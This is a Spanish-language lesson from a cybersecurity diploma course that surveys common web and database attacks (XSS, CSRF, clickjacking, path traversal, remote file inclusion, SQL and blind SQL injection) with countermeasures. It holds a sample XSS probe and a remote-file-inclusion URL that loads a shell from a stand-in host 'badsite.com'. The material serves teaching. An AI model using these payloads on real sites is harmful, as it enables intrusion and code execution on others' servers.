Está en la página 1de 25

Top de ataques

DIPLOMADO EN CIBERSEGURIDAD AUDITOR


INTERNO ISO27001

MÓDULO 03

Técnicas de ataque en el ciberespacio


Lección 3 . Top de ataques

UdeCataluña
Top de ataques

TABLA DE CONTENIDO
1. TÉCNICAS DE ATAQUES A APLICACIONES WEB Y BASES DE DATOS .......................................... 3
1.1. Defensa en profundidad................................................................................................ 3
1.2. Pentest (Penetration Test) ............................................................................................ 5
1.3. Ataques a aplicaciones WEB ......................................................................................... 7
 Ataques de inyección de Scripts .................................................................................... 8
 Cross Site Scripting (XSS) ............................................................................................... 9
 Cross Site Request Forgery CSRF ................................................................................. 12
 ClickJacking .................................................................................................................. 13
 Path Traversal (Directory Traversal)............................................................................ 15
 Remote File Inclusion .................................................................................................. 16
1.4. Ataques a Bases de Datos ........................................................................................... 17
 SQL Injection ............................................................................................................... 18
 Blind SQL Inyection...................................................................................................... 21
2. Bibliografía .......................................................................................................................... 24

TABLA DE ILUSTRACIONES
Ilustración 1. Seguridad en Profundidad ....................................................................................... 3
Ilustración 2. Metodología Pentest NIST....................................................................................... 6
Ilustración 3 Proceso de ataque NIST............................................................................................ 6
Ilustración 4. Como funciona el protocolo HTTPS ......................................................................... 8
Ilustración 5. Ataque de Cross Site Scripting (XSS) ..................................................................... 11
Ilustración 6. Como funciona CSRF ............................................................................................. 12
Ilustración 7. Clickjacking ........................................................................................................... 14
Ilustración 8. Ejemplo Path transversal....................................................................................... 15
Ilustración 9. Shell C999 en ejecución......................................................................................... 17
Ilustración 10. Kali Linux SQLmap ............................................................................................... 18
Ilustración 11. Tabla de usuario y passwords ............................................................................. 19
Ilustración 12. SQLMap en acción ............................................................................................... 20
Ilustración 13. SQL Blind Inyection.............................................................................................. 22
Ilustración 14. Time based SQL Blind Inyection .......................................................................... 22

UdeCataluña
Top de ataques

Clase 3. Top de ataques


1. TÉCNICAS DE ATAQUES A APLICACIONES WEB Y BASES DE DATOS

Para entender las técnicas más usuales de ciberataques, vamos a ver el


concepto de defensa en profundidad.

Ilustración 1. Seguridad en Profundidad

FUENTE: http://blog.segu-info.com.ar/2010/11/defensa-en-profundidad.html

1.1. Defensa en profundidad

El concepto de defensa en profundidad es un concepto que busca proteger un


recurso con la aplicación de controles de seguridad en varios niveles, con el fin
de conseguir un mayor nivel de protección del recurso, ya que este queda
protegido por más de un control de seguridad, al aplicar diferentes barreras de
protección en varios niveles se hace más complejo para el atacante y sus

UdeCataluña
Top de ataques

técnicas romper las diferentes barreras de seguridad, favoreciendo la


protección buscada como objetivo de esta estrategia.

Como se observa en la ilustración uno (1) los diferentes niveles propuestos en la


estrategia y los controles y/o herramientas propuestas para la protección de
cada uno de ellos, esta imagen puede servir de guía en cuanto a los controles
sugeridos por cada uno de los diferentes niveles, no necesariamente se deben
implementar todos los controles, ni tampoco están todos los controles posibles
para cada una de los niveles del diagrama, la selección de los mismos debe
obedecer a una evaluación juiciosa de los requerimientos de controles de cada
organización y de su evaluación en cuanto a costo beneficio.

Observamos que la capa exterior es la de políticas, procedimientos y


concientización de los usuarios, luego la parte de seguridad física, y por último
dentro de los temas de seguridad lógica, tenemos controles para perímetro, red
interna, host, en las últimas dos capas tenemos aplicación y datos, desde el
punto de vista de seguridad cuando las aplicaciones de alguna manera exponen
sus servicios en internet, estas dos capas son muy importantes a tener en
cuenta porque son las ultimas capas que protegen los datos de los usuarios.

Para poder realizar evaluaciones y/o auditorias de seguridad debemos tener


clara la diferencia de dos conceptos que a menudo se usan de manera
indistinta, pero son completamente diferentes y son:

 Análisis de vulnerabilidades: Proceso de descubrimiento de


vulnerabilidades es una aplicación y/o sistema usando generalmente
software que identifica las vulnerabilidades ya descubiertas del mismo
usando para ello identificadores como CVE (Common Vulnerabilities
Exposures) MITRE Corporation o NVD National Vulnerability Database
NIST.

UdeCataluña
Top de ataques

1.2. Pentest (Penetration Test)

Un pentest o prueba de penetración, busca encontrar las vulnerabilidades de un


sistema y conseguir usando técnicas de hacking la confirmación de que la
vulnerabilidad existe y que puede ser explotada, tiene tres divisiones que son:

 Pentest de Caja Negra: En este tipo de prueba de penetración, la persona


que realiza el pentest no conoce ninguna información adicional del
objetivo y su trabajo tiene que pasar por la identificación del sistema a
atacar su contexto, sus compontes, sus servicios y todo lo relacionado
para poder llevar a cabo un pentest exitoso.

 Pentest de Caja Blanca: En este tipo de prueba de penetración la


organización que contrata este servicio entrega la información de la
arquitectura de la solución, direcciones IP’s, versiones de software que
las soportan, inclusive usuarios de acceso al aplicativo, con lo cual la
labor del pentest puede enfocarse en la identificación y explotación de
las vulnerabilidades al dar la fase de descubrimiento como ya realizada
de manera efectiva.

 Pentest de Caja Gris: Este tipo de pentest entrega algo de información


básica al pentest y a partir de allí se debe continuar con el levantamiento
de la información requerida para llevar a cabo el ejercicio, es una versión
intermedia entre el pentest de caja blanca (con toda la información) y el
pentest de caja negra (sin nada de información).

En alineación con el NIST la metodología utilizada para los servicios de pentest


se basan en el documento NIST Special Publication 800-115 “Technical Guide to
Information Security Testing And Assessment” y sigue las fases que se observan
en la imagen siguiente:

UdeCataluña
Top de ataques

Ilustración 2. Metodología Pentest NIST

Larrahondo, A. (2020). Elaboración modulo Diplomado Ciberseguridad Elaboración propia

Adicionalmente el proceso de ataque se divide en las fases siguientes:

 Obtener acceso

 Escalar privilegios

 Descubrir nuevos sistemas

 Instalar herramientas de pentest adicionales

Ilustración 3 Proceso de ataque NIST

Larrahondo, A. (2020). Elaboración modulo Diplomado Ciberseguridad Elaboración propia

Alineados con este contexto vamos a revisar las técnicas más usuales de
ataques tanto a aplicaciones web como a bases de datos.

UdeCataluña
Top de ataques

1.3. Ataques a aplicaciones WEB

La World Wide Web se basa en el protocolo http HiperText Transfer Protocol o


protocolo de transferencia de Hipertexto, este protocolo permite la carga
eficiente de información desde los sitios web hasta los navegadores de los
usuarios, es un protocolo que ha sufrido varias actualizaciones y que incluye
funcionalidades para el despliegue de componentes multimediales, sin embargo
es un protocolo que no es cifrado, por lo que un intruso lo puede interceptar y
quedarse con el tráfico, esta característica lo hace bastante inseguro, para
servicios en donde la seguridad de la información es importante se debe
trabajar con un protocolo que cifre la información entre el emisor y el receptor,
de otro lado los protocolos de seguridad más utilizados son aquellos que se
pueden implementar de manera masiva sin demasiada intervención del usuario
final, esto asegurara en parte el éxito de su implementación, https (Hipertext
Transfer Protocol Secure) por su parte es el protocolo seguro de transferencia
de hipertexto y es uno de los mejores ejemplos, permitiendo el cifrado del
tráfico entre el servidor y el cliente, de manera casi imperceptible para el
cliente.

La implementación de este protocolo requiere de una autorizada certificadora


externa, que valida el certificado que tienen el servidor web y que garantiza que
entre el servidor web y el cliente se establezca una sesión cifrada de
intercambio de información, dada la preocupación por los temas de privacidad
de la información de los servicios de internet, este servicio de seguridad se
recomienda que se utilice en todos los sitios web.

UdeCataluña
Top de ataques

Ilustración 4. Como funciona el protocolo HTTPS

FUENTE://www.webscreationsdesign.com/encryption-is-not-the-same-as-security-please-take-note/

En la ilustración anterior podemos observar cómo funciona de manera


conceptual la utilización del protocolo https en la navegación a un sitio web, en
este caso de ejemplo el sitio es el de la red social Facebook. Actualmente varios
de los navegadores generan alertas, si el sitio a visitar no cuenta con HTTPS e
inclusive puede que no dejen cargar el sitio web.

Con la aplicación del cifrado de los datos entre el cliente y el servidor web
mejora de manera sustancial la seguridad, sin embargo existen muchas técnicas
que permiten vulnerar la seguridad de una aplicación web, vamos a ver las
técnica más usuales de ataques a las aplicaciones web en el caso de que estas
estén implementadas de manera deficiente entre ellas los ataques de inyección
de scripts (Cross Site Scripting XSS, Cross Site Request Forgery CSRF y
Clickjacking), luego los ataques de inyección de LDAP y por último los ataques
de inyección de archivos.

 Ataques de inyección de Scripts

Este ataque básicamente tiene como objetivo inyectar código JavaScript,


VBScript o simplemente código HTML, con la finalidad de engañar al usuario o
suplantarlo para realizar una acción no deseada por éste, este tipo de ataque se

UdeCataluña
Top de ataques

realiza sobre el usuario final y no afecta al servidor, sin embargo, si el ataque es


exitoso las acciones que se ejecuten lógicamente si pueden afectar la aplicación
web y sus diferentes componentes.

 Cross Site Scripting (XSS)

Esta técnica funcionara dependiendo de cómo cada petición enviada al servidor


va a ser procesada por el mismo y en función de cómo la interprete será factible
el ataque, una página web será vulnerable a esta técnica de ataque cuando lo
que enviamos al servidor posteriormente es mostrado en la página, por ejemplo
cuando escribimos un comentario y este queda registrado en la página, o
cuando realizamos una búsqueda por alguna condición particular y la pagina
devuelve un mensaje como: No se encontraron resultados para “condición de
búsqueda”.

Cuando se detectan estos comportamientos en una página web, lo siguiente es


intentar determinar si es posible usar esta zona de ingreso de información como
susceptible de ataque XSS, para ello se puede intentar insertar un pequeño
código Javascript que muestra un mensaje de alerta con el objetivo de verificar
si es susceptible a esta técnica de ataque, la línea de código que se puede
insertar seria la siguiente:

<script>alert(“Test”);</script>

La funcionalidad de este trozo de código dependerá de los ajustes de seguridad


de la página, elementos como un WAF Web Application Firewall pueden
detectar este tipo de ingresos y los puede bloquear, y algunos filtros de anti-XSS
y adicionalmente buenas prácticas de programación como validar de manera
estricta las entradas de los usuarios antes de procesarlas también los pueden
evitar, en este caso validar que no se ingresen comillas dobles o los caracteres
mayor o menor que sería una validación muy efectiva para detener este ataque,
sin embargo, dado la popularidad de este tipo de aplicaciones en muchas

UdeCataluña
Top de ataques

ocasiones los desarrolladores no tienen el cuidado suficiente o simplemente no


usan las medidas de seguridad adecuadas. En caso de que sea efectivo el
usuario deberá visualizar una ventana con el texto (Test) dentro de ella. Este
tipo de fallos pueden ser permanentes y no permanentes.

En los permanentes tenemos que al ejecutar el ataque la respuesta queda


almacenada regularmente dentro de la base de datos y se muestra nuevamente
al consultar la página que dio origen a la generación del ataque, este fallo es
más peligroso que los que no son permanentes. Los no permanentes si bien
muestran la ventana generada por el ataque, el fallo no queda almacenado en
ninguna parte y para poder reproducirlo debemos generar nuevamente el
ataque.

Si el ataque es exitoso, el paso siguiente es ejecutarlo con un código más


complejo que simule alguna funcionalidad de la página, que le pida al usuario un
nombre y contraseña, que direccione al usuario a un sitio malicioso u otra
característica que permita aprovechar de mejor manera esta falla de seguridad.

Adicionalmente existen maneras de saltarse los controles de validación de


entrada de texto usando funcionalidades del propio HTML, podemos entonces
reemplazar ‘o “por \’ o \” esta técnica se conoce como “escapar los caracteres”
y genera una nueva manera de introducir texto y evadir los controles impuestos
a la validación de los datos que ingresan los usuarios.

Las consecuencias de este ataque son variadas y depende del código que se
inserte en el mismo pero pueden pasar por la toma de control del navegador,
realización de acciones en el servidor web afectado, si el usuario al que se
afecto es administrador de la aplicación web los daños pueden ser aún mayores,
en términos generales las acciones que se puedan realizar dependerán del perfil
del usuario que resultó afectado con el ataque, el phishing es otra afectación
que se puede dar como resultado exitoso de este ataque y a través de esta

UdeCataluña
Top de ataques

redirigir al usuario a otros sitios aún más peligrosos, o la captura de credenciales


de acceso simulando los formularios, con lo cual podemos terminar
comprometiendo toda la seguridad del sitio web y la de la información sobre la
cual trabaja el mismo.

Ilustración 5. Ataque de Cross Site Scripting (XSS)

FUENTE: https://dejanstojanovic.net/aspnet/2018/march/handling-cross-site-scripting-xss-in-aspnet-
mvc/

otra afectación puede ser la realización de un defacement (Modificación de la


apariencia original del sitio generalmente con algún mensaje reivindicatorio)
ataque que genera una alta afectación reputacional para el propietario del sitio
web, otra consecuencia puede ser usar este ataque para efectuar ataques de
DDoS que busquen dejar el sitio web u otro fuera de servicio, literalmente aquí
los límites a la afectación los impone la imaginación del atacante, sus
habilidades técnicas, los controles de seguridad que impongan los diferentes
navegadores web que algunos de ellos incluyen validaciones para contener este
tipo de ataques y el comportamiento del usuario final quien regularmente
confía en las solicitudes de información que realiza un sitio web que para él es
confiable.

UdeCataluña
Top de ataques

 Cross Site Request Forgery CSRF

Esta técnica es conocida en español como falsificación de petición en sitios


cruzados y es derivada del XSS, esta técnica permite que el usuario realice
acciones no deseadas en dominios remotos a través de la persistencia de
sesiones entre las diferentes pestañas de un navegador.

Ilustración 6. Como funciona CSRF

FUENTE: https://www.welivesecurity.com/la-es/2015/04/21/vulnerabilidad-cross-site-request-
forgery-csrf/

El funcionamiento general del ataque CSRF sigue los siguientes pasos

 El atacante consigue ingresar código HTML en el servidor A.

 La victima establece conexión legítima con el servidor B.

 La victima accede a la aplicación web donde se encuentra el código


malicioso introducido por el atacante.

 El navegador de la víctima realiza una petición contra la aplicación del


servidor Web B.

Las contramedidas para protegernos de este tipo de ataques son las siguientes:

 Evitar almacenar usuarios y claves en el navegador.

UdeCataluña
Top de ataques

 Deshabilitar el autocompletar formularios que ofrecen los navegadores.

 Cerrar sesión luego de usar los servicios.

 Utilizar diferentes navegadores, uno para temas confidenciales y otro


para uso frecuente.

 Usar complementos en los navegadores que bloqueen la ejecución de


scripts, aunque con ello disminuyan las funcionalidades del sitio web.

Desde el punto de vista de los desarrolladores de los sitios web, evitar el uso de
acciones con solicitudes POST, comprobar los encabezados de referencia y de
manera general seguir las mejores prácticas de desarrollo posible con cada uno
de los lenguajes que se utilicen para desarrollar la página web.

 ClickJacking

En esta técnica el objetivo es engañar a los usuarios para que hagan clic sobre
elementos de un sitio web en los cuales no harían clic de manera voluntaria,
esto se consigue superponiendo dos páginas, una la principal en donde se
quiere que el usuario haga clic sobre zonas específicas de la misma y la otra
sirve de señuelo superpuesta y con contenidos que inciten al usuario a que
realice clic sobre las zonas deseadas, usualmente juegos o avisos que para
poder cerrar debemos dar clic en zonas determinadas.

La técnica también se puede conocer con un nombre más genérico que es UI


Redressing (Redireccionamiento de interfaz de usuario) para ejecutar este
ataque se hace uso de un recurso llamado iframes , que son elementos HTML
que permiten la inclusión de recursos externos a la página web y que se usan
superpuestos unos sobre otros.

UdeCataluña
Top de ataques

Ilustración 7. Clickjacking

FUENTE: https://www.hacker9.com/clickjacking-attack-things-you-must-know.html

Una variante de este mismo concepto en donde el atacante crea su propio


cursor en vez de utilizar el que tiene el sistema operativo, con este efecto visual
se consigue que el usuario de clic sobre el enlace no deseado, la variante recibe
el nombre de cursorjacking (Secuestro del cursor).

El éxito de estas técnicas depende también de varios factores como los tamaños
de las pantallas, las configuraciones de fondo de los colores de la pantalla, la
configuración del navegador web y algunos otros factores, se utiliza mucho para
conseguir que el usuario instale algún software malicioso que permita tomar
control del navegador o instalar spyware en las maquinas.

La mayoría de los navegadores incluyen controles para evitar este tipo de


técnicas y ayudar a proteger a los usuarios y adicionalmente existen
complementos que bloquean la ejecución de scripts no autorizados de manera
clara por los usuarios finales. Parte de su prevención exitosa pasa por filtrar y
validar correctamente los datos que se ingresan a la aplicación.

UdeCataluña
Top de ataques

 Path Traversal (Directory Traversal)

Esta técnica de ataque se aprovecha de las debilidades en la configuración de


seguridad del servidor web, que permite que el usuario descubra, vea y tal vez
que tenga acceso a los archivos consultando el árbol de directorios del sistema
operativo que hace las funciones de web server, se conoce también como el
ataque “../”, parte de su prevención pasa por filtrar y validar las peticiones que
hacen los usuarios al sitio web, su éxito dependerá entonces de la configuración
del servidor web, del sistema operativo y de las configuraciones de seguridad
aplicadas, cuando es efectivo el usuario tiene al menos una vista del contenido
de los directorios que le proporciona además información muy valiosa para
acabar de afinar la estrategia del ataque, en estas carpetas suelen estar además
archivos de configuración, archivos con contraseñas, archivos de conexión a
motores de bases de datos, archivos de pruebas que permitan al ejecutarlos
realizar funciones que aún no son públicas, etc, como siempre el espectro de
éxito depende de varios factores.

Ilustración 8. Ejemplo Path transversal

FUENTE: https://blog.netspi.com/directory-traversal-file-inclusion-proc-file-system/

Para la ilustración de ejemplo de path traversal vemos como a través del uso de
“../” Se consigue acceder a la carpeta del sistema operativo (Linux) que contiene

UdeCataluña
Top de ataques

el archivo password (En donde se almacenan los passwords de los usuarios de


Linux).

 Remote File Inclusion

Esta técnica aprovecha una vulnerabilidad que le permite ejecutar código


remoto en la aplicación vulnerable, se origina en la funcionalidad de cargue de
archivos que proveen algunos sitios web, de esta manera se puede subir un
archivo malicioso o inclusive Shell completas con varias funcionalidades, es una
vulnerabilidad que se puede encontrar en lenguajes interpretados como PHP en
donde se hacen uso de funciones que permiten la inclusión dinámica de
archivos como:

 include($pag)

 require(&pag)

 include_once($pag)

 require_once($pag)

Como se observa estas funciones de PHP tienen el parámetro ($pag) que indica
la ruta del archivo a incluirse, si esta función no se valida adecuadamente puede
permitir que el usuario haga llamadas a archivos externos, por ejemplo:

http://www.miweb.com/mostrar.php?pag=http://badsite.com/shell.txt

Para este caso el sitio miweb.com cargara y ejecutara el archivo Shell.txt del
sitio badsite.com

La contramedida para este tipo de ataques es simplemente no utilizar las


funcionalidades de carga de archivos en sitios web, si es absolutamente
indispensable que se carguen archivos web se deben buscar otras alternativas
como FTPS o soluciones seguras similares, si por temas de funcionalidad igual se

UdeCataluña
Top de ataques

realiza esta mala práctica en el sitio web, se debe tener un estricto control de
los archivos que cargan los usuarios y tomar medidas compensatorias para
asegurarnos que se mantenga la seguridad del sitio web verificando por ejemplo
que las extensiones de los archivos sean solo las autorizadas y restringiendo la
ejecución de cualquier archivo cargado al sitio web, entre otras.

Ilustración 9. Shell C999 en ejecución

FUENTE: http://hackingscripts.com/wp-content/uploads/2014/01/c999.png

En la ilustración anterior observamos por ejemplo la Shell c999 (PHP)


ejecutándose, como se observa está llena de funcionalidades, por lo que luego
de cargarla al sitio web vulnerable, el atacante puede realizar casi que cualquier
acción con el mismo.

1.4. Ataques a Bases de Datos

Tal como vimos en el concepto de seguridad en profundidad, los datos de


nuestra organización son los más apetecidos por los atacantes porque de ellos
se puede generar ingresos, los números de tarjetas de crédito de hecho son
como cheques al portador, la información financiera, de salud y la información
personal son en varios países protegidos con leyes orientadas a su seguridad y
por lo mismo son los datos más buscados, los repositorios de estos son en
últimas los motores de bases de datos en los cuales se almacenan para su uso y

UdeCataluña
Top de ataques

consulta de parte de las organizaciones, cuando una aplicación web tiene que
acceder a estos datos para responder por las consultas de los usuarios y dejar
ver el saldo de las cuentas de los usuarios tenemos una interacción entre la
aplicación web y el servidor de base de datos, estas consultas se hacen a través
de lenguajes estructurados de consultas de bases de datos (SQL QUERYS) y si las
consultas no están debidamente protegidas damos la oportunidad al atacante
que a través de varias técnicas (de las que veremos aquí apenas las más
relevantes) acceda de manera fraudulenta a la información de la base de datos
pudiendo ocasionar incidentes de seguridad al eliminar, modificar, agregar o
consultar data de las mismas.

 SQL Injection

Este ataque pretende la ejecución de consultas no autorizadas sobre la base de


datos valiéndose de las debilidades en la validación de los parámetros de
entrada para consultas realizadas a través de datos ingresados por los usuarios
que si son válidas, se aprovecha de la potencia del SQL (Structured Query
Language) o lenguaje de consultas estructurado que como su nombre lo indica
tiene varias funciones para realizar estos querys de manera estructurada, su
potencia es tal que puede no solo realizar consultas sino entre otras creación de
tablas, usuarios, datos de las tablas, eliminación , copia, etc.

Ilustración 10. Kali Linux SQLmap

UdeCataluña
Top de ataques

FUENTE: https://doxsec.wordpress.com/2015/08/23/how-to-use-sql_map-for-sql-injection-in-kali-
linux-mechine/

En términos generales toda autenticación que se realiza mediante un usuario y


un password contra una base de datos consiste en un select de ese usuario y
ese password a una tabla determinada de una base de datos que es la que está
consultando el servidor web así:

SELECT Password FROM login WHERE username=”usuario”

Username Password
Alexander Th4W#91/
Admin P4ssw0rd

Ilustración 11. Tabla de usuario y passwords

FUENTE: Larrahondo, A. (2020). Elaboración modulo Diplomado Ciberseguridad Elaboración propia

Las consultas tal como se observa en la ilustración diez (10) se generan en PHP
como aparece en el uso de la herramienta SQLMap http://target/vuln.php?id=1
y con muchísimas otras consultas a nivel de bases de datos, lo que hacen las
herramientas automáticas que nos permiten realizar la auditoría de seguridad
es automatizar esas búsquedas y probar cientos o miles de combinaciones de
parámetros de SQL con el fin de ver cuál de ellos puede llegar a ser vulnerable,
una vez detectada la consulta que puede ser vulnerable las herramientas
prueba también con docenas de combinaciones diferentes de sentencias SQL
hasta que dan con la que permita realizar de manera exitosa la inyección de
código para acceder a la o las bases de datos.

UdeCataluña
Top de ataques

Ilustración 12. SQLMap en acción

FUENTE: https://doxsec.wordpress.com/2015/08/23/how-to-use-sql_map-for-sql-injection-in-kali-
linux-mechine/

Las consecuencias de un ataque exitoso de SQL Inyection son:

 Descubrimiento de información (Information Disclosure): esta técnica


puede permitir a un atacante el revelamiento de información sensible
almacenada en la base de datos atacada, a través de la modificación de
las consultas para acceder de manera malintencionada a los registros de
la base de datos.

 Escalamiento de privilegios: el acceso a la base de datos puede permitir


que el usuario escale sus privilegios o que consiga el usuario admin del
motor de la base de datos con lo cual tendría acceso no solo a la base de
datos atacada sino a otras bases de datos que estuvieran en el mismo
motor.

 Denegación de servicio: El acceso a la base de datos le puede dar acceso


a la ejecución de acciones sobre el motor de base de datos que pueden ir
desde la copia de la información, puerto también la eliminación de
algunos registros, de tablas completas o de toda la base de datos,

UdeCataluña
Top de ataques

igualmente le da la posibilidad de pausar el motor de base de datos e


inclusive de detenerlo con lo cual puede generar una negación del
servicio.

 Suplantación de usuarios: La posibilidad de escalar privilegios o de


acceder a la tabla de usuarios y passwords permite que suplante a
algunos de los usuarios validos del servicio y a través de esta
suplantación realice acciones a nombre de estos usuarios como compras
electrónicas u otras.

 Blind SQL Inyection

La inyección ciega de SQL es una variante de ataque a bases de datos que hace
preguntas verdaderas o falsas a la base de datos y determina la respuesta en
función de cómo responda la aplicación, se usa sobre todo cuando la aplicación
web está configurada para mostrar mensajes de error genéricos (que es además
una buena práctica para no mostrar información relevante a un posible
atacante), pero que no ha mitigado el código que es vulnerable a inyección de
SQL.

Hay que notar que a pesar de que un atacante no pueda ver los datos extraídos
directamente en la base de datos, es altamente probable que al cambiar los
datos que se están enviando como parámetros se puedan realizar inferencias
sobre ellos en función de los cambios que se puedan obtener.

La SQL Blind Inyection basada en tiempo genera consultas a la base de datos


con parámetros de tiempo con el fin de dejar una pausa antes de obtener una
respuesta de parte del motor de base de datos, si la base de datos pausa y
genera el resultado esto indica que el query se ejecutó, usando esta lógica se
puede ir obteniendo información y construyendo la data solicitada pero
necesariamente se necesita realizar esta actividad de manea automatizada y de
ser posible en paralelo con el fin de optimizar los tiempos.

UdeCataluña
Top de ataques

Ilustración 13. SQL Blind Inyection

FUENTE: https://linuxhint.com/blind_sql_injection_tutorial/

Ilustración 14. Time based SQL Blind Inyection

FUENTE: https://linuxhint.com/blind_sql_injection_tutorial/

UdeCataluña
Top de ataques

En la ilustración catorce (14) vemos un ejemplo de Time Based SQL Blind


injection, con el uso del comando Sleep.

La cantidad de posibilidades para explotar debilidades en los controles para los


datos que ingresan los usuarios en las aplicaciones web es enorme, lo que hace
que existan varias técnicas adicionales y variaciones de las mismas que hacen
uso de otros mecanismos, adicionalmente cada motor de base de datos
implementa ciertas funcionalidades de manera diferente o inclusive
funcionalidades únicas del motor particular por lo que estas técnicas de ataques
requieren buen conocimiento de las capacidades de los diferentes motores de
bases de datos que pueden cambiar entre versiones, y también del lenguaje SQL
con el fin de construir las consultas adecuadas, adicionalmente dada la cantidad
de pruebas que se deben realizar es absolutamente indispensable la utilización
de herramientas que ayuden a automatizar los procesos de pruebas, existen
para ello al menos una docena de herramientas con diferentes funcionalidades.

UdeCataluña
Top de ataques

2. Bibliografía

 https://www.hacker9.com/clickjacking-attack-things-you-must-
know.html
 https://linuxhint.com/blind_sql_injection_tutorial/
 FUSTER, A., HERNÁNDEZ, L., MONTOYA, F., & MUÑOZ, J. Criptografía,
protección de datos y aplicaciones. Editorial: Editorial Ra-Ma (2012).
ISBN 10: 8499641369
 GOMEZ, A. ENCICLOPEDIA DE LA SEGURIDAD INFORMÁTICA, 2ª Ed.
Actualizada.
 Editorial: Editorial Ra-Ma (2011). ISBN 9788499640365.
 MAIWALD, E. Fundamentos de Seguridad en redes. Mc. Graw-Hill.
México. 2005
 MCCARTHY, M. Seguridad Digital. Mc. Graw-Hill. Madrid. 2002
 NORTHCUTT, S & NOVAK J. Network Intrusion Detection.. New Rides.
Third Edition.
 ISBN 0-7357-1265-4
 SKOUDIS, E. & LISTON T. Counter Hack Reloaded. A Step-by-Step Guide
to Computer Attacks and Effective Defenses. Second Edition. Prentice
Hall, 2006. ISBN: 978-0-13-148104-6
 STALLING, W. Fundamento de Seguridad en Redes. Pearson Education.
Madrid. 2
 https://www.iana.org/domains/root/servers

UdeCataluña
Top de ataques

© UdeCataluña 2022

Todos los derechos reservados.

Todos los derechos reservados. Prohibida su reproducción total o


parcial sin el permiso de UdeCataluña

Bogotá - Colombia.

UdeCataluña

También podría gustarte